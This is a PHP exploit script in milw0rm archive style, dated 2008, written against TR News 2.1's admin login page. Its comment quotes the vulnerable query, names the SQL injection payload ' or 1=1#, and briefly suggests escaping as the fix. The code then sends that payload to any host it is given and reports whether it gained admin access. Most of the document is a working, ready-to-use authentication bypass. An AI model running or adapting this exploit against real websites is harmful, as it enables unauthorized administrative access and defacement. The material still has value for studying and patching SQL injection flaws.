TR News 2.1 - 'login.php' Remote Authentication Bypass

<?php

error_reporting(0);

/*
   ------------------------------------------------------
   TR News <= 2.1 (login.php) Remote Login ByPass Exploit
   ------------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/trscript-21.zip

   File admin/login.php
   
   1. <?
   2.	if(isset($_POST['login_ad']) && ($_POST['password']))
   3.   {
   4.	include("../include/connexion.php");
   5.	$login=$_POST["login_ad"];
   6.	$pass=md5($_POST["password"]);
   7.	$sql="SELECT * FROM tr_user_news WHERE pseudo='$login' AND pass='$pass';";
   8.	$p = mysql_query($sql);
   9.	$row = mysql_fetch_assoc($p);
  10.	$admin = $row['admin'];
  11.	if($admin != 1)
  
  $login = $_POST"login_ad"]; isn't escaped,so you can insert SQL code...
  how to fix? sanize $login with mysql_real_escape_string or htmlentities
  
  
  NOTE:
  
  if the website is vulnerable,you must go to admin/login.php
  
  Username: ' or 1=1#
  Password: no-deface
  
*/

if(preg_match('/http://(.+?)/i',$argv[1]) or empty($argv[1])) athos();

$host = explode('/',$argv[1]);
$auth = "login_ad=%27+or+1%3D1%23&password=athos";


$data = "POST /$host[1]/admin/login.php HTTP/1.1\r\n". 
        "Host: $host[0]\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Content-Length: ".strlen($auth)."\r\n\r\n".
        "$auth\r\n\r\n";
  
  
if(!$socket = fsockopen($host[0],80)) die("fsockopen() error!\n");  
if(!fputs($socket,$data)) die("fputs() error!\n");


while(!feof($socket))
{
  $content .= fgets($socket);
} fclose($socket);

if(preg_match("/location: main\.php\?mode=main/i",$content))
{
  exploiting();
  echo "\n[+] Exploit Successfully!\n[+] Site Vulnerable\n";
  exit;
}
else
{
  exploiting();
  echo "\n[+] Exploit Failed!\n[+] Site Not Vulnerable!\n";
  exit;
}
  
function athos()
{
  global $argv;
  
  echo "[+] TR News <= 2.1 (login.php) Remote Login ByPass Exploit\n";
  echo "[+] Usage: php $argv[0] [host/path]\r\n";
  exit;
}
  
function exploiting()
{
  echo "[+] Exploiting";

  for($i=0;$i<=3;$i++) 
  {
    echo "."; 
    sleep(1);
  }
}  

# milw0rm.com [2008-11-04]